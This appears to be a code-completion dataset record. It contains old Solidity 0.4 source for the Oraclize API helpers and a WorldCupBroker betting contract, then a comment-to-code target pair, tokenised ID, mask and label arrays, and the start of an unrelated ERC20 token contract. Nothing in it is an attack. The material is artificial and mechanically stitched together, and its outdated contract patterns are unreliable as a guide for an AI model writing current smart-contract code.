offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; require(prefix.length == n_random_bytes); for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; // Buffer too small require(to.length >= minLength); // Should be a better way? // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // </ORACLIZE_API> // File: contracts/WorldCupBroker.sol /* * @title String & slice utility library for Solidity contracts. * @author Daniel Bennett <[email protected]> * * @dev This is a solitidy contract that facilitates betting for the 2018 world cup. The contract on does not act as a counter party to any bets placed and thus users bet on a decision pool for a match (win, lose, draw), and based on the results of users will be credited winnings proportional to their contributions to the winning pool. */ pragma solidity ^0.4.4; contract WorldCupBroker is Ownable, usingOraclize { using strings for *; struct Bet { bool cancelled; bool claimed; uint amount; uint8 option; // 1 - teamA, 2 - teamB, 3 - Draw address better; } struct Match { bool locked; // match will be locked after payout or all bets returned bool cancelled; uint8 teamA; uint8 teamB; uint8 winner; // 0 - not set, 1 - teamA, 2 - teamB, 3- Draw, 4 - no winner uint start; uint closeBettingTime; // since this the close delay is constant // this will always be the same, save gas for betters and just set the close time once uint totalTeamABets; uint totalTeamBBets; uint totalDrawBets; uint numBets; string fixtureId; string secondaryFixtureId; bool inverted; // inverted if the secondary api has the home team and away teams inverted string name; mapping(uint => Bet) bets; } event MatchCreated(uint8); event MatchUpdated(uint8); event MatchFailedPayoutRelease(uint8); event BetPlaced( uint8 matchId, uint8 outcome, uint betId, uint amount, address better ); event BetClaimed( uint8 matchId, uint betId ); event BetCancelled( uint8 matchId, uint betId ); string[32] public TEAMS = [ "Russia", "Saudi Arabia", "Egypt", "Uruguay", "Morocco", "Iran", "Portugal", "Spain", "France", "Australia", "Argentina", "Iceland", "Peru", "Denmark", "Croatia", "Nigeria", "Costa Rica", "Serbia", "Germany", "Mexico", "Brazil", "Switzerland", "Sweden", "South Korea", "Belgium", "Panama", "Tunisia", "England", "Poland", "Senegal", "Colombia", "Japan" ]; uint public constant MAX_NUM_PAYOUT_ATTEMPTS = 3; // after 3 consecutive failed payout attempts, lock the match uint public constant PAYOUT_ATTEMPT_INTERVAL = 10 minutes; // try every 10 minutes to release payout uint public commission_rate = 7; uint public minimum_bet = 0.01 ether; uint private commissions = 0; uint public primaryGasLimit = 225000; uint public secondaryGasLimit = 250000; Match[] matches; mapping(bytes32 => uint8) oraclizeIds; mapping(uint8 => uint8) payoutAttempts; mapping(uint8 => bool) firstStepVerified; mapping(uint8 => uint8) pendingWinner; /* * @dev Ensures a matchId points to a legitimate match * @param _matchId the uint to check if it points to a valid match. */ modifier validMatch(uint8 _matchId) { require(_matchId < uint8(matches.length)); _; } /* * @dev the validBet modifier does as it's name implies and ensures that a bet * is valid before proceeding with any methods called on the contract * that would require access to such a bet * @param _matchId the uint to check if it points to a valid match. * @param _betId the uint to check if it points to a valid bet for a match. */ modifier validBet(uint8 _matchId, uint _betId) { // short circuit to save gas require(_matchId < uint8(matches.length) && _betId < matches[_matchId].numBets); _; } /* * @dev Adds a new match to the smart contract and schedules an oraclize query call * to determine the winner of a match within 3 hours. Additionally emits an event * signifying a match was created. * @param _name the unique identifier of the match, should be of format Stage:Team A vs Team B * @param _fixture the fixtureId for the football-data.org endpoint * @param _secondary the fixtureId for the sportsmonk.com endpoint * @param _inverted should be set to true if the teams are inverted on either of the API * that is if the hometeam and localteam are swapped * @param _teamA index of the homeTeam from the TEAMS array * @param _teamB index of the awayTeam from the TEAMS array * @param _start the unix timestamp for when the match is scheduled to begin * @return `uint` the Id of the match in the matches array */ function addMatch(string _name, string _fixture, string _secondary, bool _invert, uint8 _teamA, uint8 _teamB, uint _start) public onlyOwner returns (uint8) { // Check that there's at least 15 minutes until the match starts require(_teamA < 32 && _teamB < 32 && _teamA != _teamB && (_start - 15 minutes) >= now); Match memory newMatch = Match({ locked: false, cancelled: false, teamA: _teamA, teamB: _teamB, winner: 0, fixtureId: _fixture, // The primary fixtureId that will be used to query the football-data API secondaryFixtureId: _secondary, // The secondary fixtureID used to query sports monk inverted: _invert, start: _start, closeBettingTime: _start - 3 minutes, // betting closes 3 minutes before a match starts totalTeamABets: 0, totalTeamBBets: 0, totalDrawBets: 0, numBets: 0, name: _name }); uint8 matchId = uint8(matches.push(newMatch)) - 1; // concatinate oraclize query string memory url = strConcat( "[URL] json(https://soccer.sportmonks.com/api/v2.0/fixtures/", newMatch.secondaryFixtureId, "?api_token=${[decrypt] BNxYykO2hsQ7iA7yRuDLSu1km6jFZwN5X87TY1BSmU30llRn8uWkJjHgx+YGytA1tmbRjb20CW0gIzcFmvq3yLZnitsvW28SPjlf+s9MK7hU+uRXqwhoW6dmWqKsBrCigrggFwMBRk4kA16jugtIr+enXHjOnAKSxd1dO4YXTCYvZc3T1pFA9PVyFFnd}).data.scores[localteam_score,visitorteam_score]"); // store the oraclize query id for later use // use hours to over estimate the amount of time it would take to safely get a correct result // 90 minutes of regulation play time + potential 30 minutes of extra time + 15 minutes break // + potential 10 minutes of stoppage time + potential 10 minutes of penalties // + 25 minutes of time for any APIs to correct and ensure their information is correct bytes32 oraclizeId = oraclize_query((_start + (3 hours)), "nested", url, primaryGasLimit); oraclizeIds[oraclizeId] = matchId; emit MatchCreated(matchId); return matchId; } function cancelMatch(uint8 _matchId) public onlyOwner validMatch(_matchId) returns (bool) { Match storage mtch = matches[_matchId]; require(!mtch.cancelled && now < mtch.closeBettingTime); mtch.cancelled = true; mtch.locked = true; emit MatchUpdated(_matchId); return true; } /* * @dev returns the number of matches on the contract */ function getNumMatches() public view returns (uint) { return matches.length; } /* * @dev Returns some of the properties of a match. Functionality had to be seperated * into 2 function calls to prevent stack too deep errors * @param _matchId the index of that match in the matches array * @return `string` the match name * @return `string` the fixutre Id of the match for the football-data endpoint * @return `string` the fixture Id fo the match for the sports monk endpoint * @return `uint8` the index of the home team * @return `uint8` the index of the away team * @return `uint8` the winner of the match * @return `uint` the unix timestamp for the match start time * @return `bool` Match cancelled boolean * @return `bool` Match locked boolean which is set to true if the match is payed out or bets are returned */ function getMatch(uint8 _matchId) public view validMatch(_matchId) returns (string, string, string, bool, uint8, uint8, uint8, uint, bool, bool) { Match memory mtch = matches[_matchId]; return ( mtch.name, mtch.fixtureId, mtch.secondaryFixtureId, mtch.inverted, mtch.teamA, mtch.teamB, mtch.winner, mtch.start, mtch.cancelled, mtch.locked ); } /* * @dev Returns remaining of the properties of a match. Functionality had to be seperated * into 2 function calls to prevent stack too deep errors * @param _matchId the index of that match in the matches array * @return `uint` timestamp for when betting for the match closes * @return `uint` total size of the home team bet pool * @return `uint` total size of the away team bet pool * @return `uint` total size of the draw bet pool * @return `uint` the total number of bets * @return `uint8` the number of payout attempts for the match */ function getMatchBettingDetails(uint8 _matchId) public view validMatch(_matchId) returns (uint, uint, uint, uint, uint, uint8) { Match memory mtch = matches[_matchId]; return ( mtch.closeBettingTime, mtch.totalTeamABets, mtch.totalTeamBBets, mtch.totalDrawBets, mtch.numBets, payoutAttempts[_matchId] ); } /* * @dev Adds a new bet to a match with the outcome passed where there are 3 possible outcomes * homeTeam wins(1), awayTeam wins(2), draw(3). While it is possible for some matches * to end in a draw, not all matches will have the possibility of ending in a draw * this functionality will be added in front end code to prevent betting on invalid decisions. * Emits a BetPlaced event. * @param _matchId the index of the match in matches that the bet is for * @param _outcome the possible outcome for the match that this bet is betting on * @return `uint` the Id of the bet in a match's bet array */ function placeBet(uint8 _matchId, uint8 _outcome) public payable validMatch(_matchId) returns (uint) { Match storage mtch = matches[_matchId]; // A bet must be a valid option, 1, 2, or 3, and cannot be less that the minimum bet amount require( !mtch.locked && !mtch.cancelled && now < mtch.closeBettingTime && _outcome > 0 && _outcome < 4 && msg.value >= minimum_bet ); Bet memory bet = Bet(false, false, msg.value, _outcome, msg.sender); uint betId = mtch.numBets; mtch.bets[betId] = bet; mtch.numBets++; if (_outcome == 1) { mtch.totalTeamABets += msg.value; // a bit of safe math checking here assert(mtch.totalTeamABets >= msg.value); } else if (_outcome == 2) { mtch.totalTeamBBets += msg.value; assert(mtch.totalTeamBBets >= msg.value); } else { mtch.totalDrawBets += msg.value; assert(mtch.totalDrawBets >= msg.value); } // emit bet placed event emit BetPlaced(_matchId, _outcome, betId, msg.value, msg.sender); return (betId); } /* * @dev Returns the properties of a bet for a match * @param _matchId the index of that match in the matches array * @param _betId the index of that bet in the match bets array * @return `address` the address that placed the bet and thus it's owner * @return `uint` the amount that was bet * @return `uint` the option that was bet on * @return `bool` wether or not the bet had been cancelled */ function getBet(uint8 _matchId, uint _betId) public view validBet(_matchId, _betId) returns (address, uint, uint, bool, bool) { Bet memory bet = matches[_matchId].bets[_betId]; // Don't return matchId and betId since you had to know them in the first place return (bet.better, bet.amount, bet.option, bet.cancelled, bet.claimed); } /* * @dev Cancel's a bet and returns the amount - commission fee. Emits a BetCancelled event * @param _matchId the index of that match in the matches array * @param _betId the index of that bet in the match bets array */ function cancelBet(uint8 _matchId, uint _betId) public validBet(_matchId, _betId) { Match memory mtch = matches[_matchId]; require(!mtch.locked && now < mtch.closeBettingTime); Bet storage bet = matches[_matchId].bets[_betId]; // only the person who made this bet can cancel it require(!bet.cancelled && !bet.claimed && bet.better == msg.sender ); // stop re-entry just in case of malicious attack to withdraw all contract eth bet.cancelled = true; uint commission = bet.amount / 100 * commission_rate; commissions += commission; assert(commissions >= commission); if (bet.option == 1) { matches[_matchId].totalTeamABets -= bet.amount; } else if (bet.option == 2) { matches[_matchId].totalTeamBBets -= bet.amount; } else if (bet.option == 3) { matches[_matchId].totalDrawBets -= bet.amount; } bet.better.transfer(bet.amount - commission); emit BetCancelled(_matchId, _betId); } /* * @dev Betters can claim there winnings using this method or reclaim their bet * if the match was cancelled * @param _matchId the index of the match in the matches array * @param _betId the bet being claimed */ function claimBet(uint8 _matchId, uint8 _betId) public validBet(_matchId, _betId) { Match storage mtch = matches[_matchId]; Bet storage bet = mtch.bets[_betId]; // ensures the match has been locked (payout either done or bets returned) // dead man's switch to prevent bets from ever getting locked in the contrat // from insufficient funds during an oracalize query // if the match isn't locked or cancelled, then you can claim your bet after // the world cup is over (noon July 16) require((mtch.locked || now >= 1531742400) && !bet.claimed && !bet.cancelled && msg.sender == bet.better ); bet.claimed = true; if (mtch.winner == 0) { // If the match is locked with no winner set // then either it was cancelled or a winner couldn't be determined // transfer better back their bet amount bet.better.transfer(bet.amount); } else { if (bet.option != mtch.winner) { return; } uint totalPool; uint winPool; if (mtch.winner == 1) { totalPool = mtch.totalTeamBBets + mtch.totalDrawBets; // once again do some safe math assert(totalPool >= mtch.totalTeamBBets); winPool = mtch.totalTeamABets; } else if (mtch.winner == 2) { totalPool = mtch.totalTeamABets + mtch.totalDrawBets; assert(totalPool >= mtch.totalTeamABets); winPool = mtch.totalTeamBBets; } else { totalPool = mtch.totalTeamABets + mtch.totalTeamBBets; assert(totalPool >= mtch.totalTeamABets); winPool = mtch.totalDrawBets; } uint winnings = totalPool * bet.amount / winPool; // calculate commissions percentage uint commission = winnings / 100 * commission_rate; commissions += commission; assert(commissions >= commission); // return original bet amount + winnings - commission bet.better.transfer(winnings + bet.amount - commission); } emit BetClaimed(_matchId, _betId); } /* * @dev Change the commission fee for the contract. The fee can never exceed 7% * @param _newCommission the new fee rate to be charged in wei */ function changeFees(uint8 _newCommission) public onlyOwner { // Max commission is 7%, but it can be FREE!! require(_newCommission <= 7); commission_rate = _newCommission; } /* * @dev Withdraw a portion of the commission from the commission pool. * @param _amount the amount of commission to be withdrawn */ function withdrawCommissions(uint _amount) public onlyOwner { require(_amount <= commissions); commissions -= _amount; owner.transfer(_amount); } /* * @dev Destroy the contract but only after the world cup is over for a month */ function withdrawBalance() public onlyOwner { // World cup is over for a full month withdraw the full balance of the contract // and destroy it to free space on the blockchain require(now >= 1534291200); // This is 12am August 15, 2018 selfdestruct(owner); } /* * @dev Change the minimum bet amount. Just in case the price of eth skyrockets or drops. * @param _newMin the new minimum bet amount */ function changeMiniumBet(uint _newMin) public onlyOwner { minimum_bet = _newMin; } /* * @dev sets the gas price to be used for oraclize quries in the contract * @param _price the price of each gas */ function setGasPrice(uint _price) public onlyOwner { require(_price >= 20000000000 wei); oraclize_setCustomGasPrice(_price); } /* * @dev Oraclize query callback to determine the winner of the match. * @param _myid the id for the oraclize query that is being returned * @param _result the result of the query */ function __callback(bytes32 _myid, string _result) public { // only oraclize can call this method if (msg.sender != oraclize_cbAddress()) revert(); uint8 matchId = oraclizeIds[_myid]; Match storage mtch = matches[matchId]; require(!mtch.locked && !mtch.cancelled); bool firstVerification = firstStepVerified[matchId]; // If there is no result or the result is null we want to do the following if (bytes(_result).length == 0 || (keccak256(_result) == keccak256("[null, null]"))) { // If max number of attempts has been reached then return all bets if (++payoutAttempts[matchId] >= MAX_NUM_PAYOUT_ATTEMPTS) { mtch.locked = true; emit MatchFailedPayoutRelease(matchId); } else { emit MatchUpdated(matchId); string memory url; string memory querytype; uint limit; // if the contract has already verified the sportsmonks api // use football-data.org as a secondary source of truth if (firstVerification) { url = strConcat( "json(https://api.football-data.org/v1/fixtures/", matches[matchId].fixtureId, ").fixture.result.[goalsHomeTeam,goalsAwayTeam]"); querytype = "URL"; limit = secondaryGasLimit; } else { url = strConcat( "[URL] json(https://soccer.sportmonks.com/api/v2.0/fixtures/", matches[matchId].secondaryFixtureId, "?api_token=${[decrypt] BNxYykO2hsQ7iA7yRuDLSu1km6jFZwN5X87TY1BSmU30llRn8uWkJjHgx+YGytA1tmbRjb20CW0gIzcFmvq3yLZnitsvW28SPjlf+s9MK7hU+uRXqwhoW6dmWqKsBrCigrggFwMBRk4kA16jugtIr+enXHjOnAKSxd1dO4YXTCYvZc3T1pFA9PVyFFnd}).data.scores[localteam_score,visitorteam_score]"); querytype = "nested"; // use primary gas limit since that query won't payout winners on callback limit = primaryGasLimit; } bytes32 oraclizeId = oraclize_query(PAYOUT_ATTEMPT_INTERVAL, querytype, url, limit); oraclizeIds[oraclizeId] = matchId; } } else { payoutAttempts[matchId] = 0; // eg. result = "[2, 4]" strings.slice memory s = _result.toSlice(); // remove the braces from the result s = s.beyond("[".toSlice()); s = s.until("]".toSlice()); // split the string to get the two string encoded ints strings.slice memory x = s.split(", ".toSlice()); // parse them to int to get the scores uint homeScore = parseInt(s.toString()); uint awayScore = parseInt(x.toString()); uint8 matchResult; // determine the winner if (homeScore > awayScore) { matchResult = 1; } else if (homeScore < awayScore) { matchResult = 2; } else { matchResult = 3; } // if this is the query to sportsmonks if (!firstVerification) { // set pending winner and call the second source of truth pendingWinner[matchId] = matchResult; firstStepVerified[matchId] = true; url = strConcat( "json(https://api.football-data.org/v1/fixtures/", matches[matchId].fixtureId, ").fixture.result.[goalsHomeTeam,goalsAwayTeam]"); oraclizeId = oraclize_query("nested", url, secondaryGasLimit); oraclizeIds[oraclizeId] = matchId; } else { mtch.locked = true; // if one of the APIs has the teams inverted then flip the result if (matches[matchId].inverted) { if (matchResult == 1) { matchResult = 2; } else if (matchResult == 2) { matchResult = 1; } } // if the both APIs confirm the same winner then payout the winners if (pendingWinner[matchId] == matchResult) { mtch.winner = matchResult; emit MatchUpdated(matchId); } else { // else don't set a winner because a source of truth couldn't be verified // this way users can still reclaim their original bet amount emit MatchFailedPayoutRelease(matchId); } } } } function() public payable {} }
split the string to get the two string encoded ints
strings.slice memory x = s.split(", ".toSlice());
1,790,222
[ 1, 4939, 326, 533, 358, 336, 326, 2795, 533, 3749, 15542, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 2064, 18, 6665, 3778, 619, 273, 272, 18, 4939, 2932, 16, 3552, 869, 5959, 10663, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From 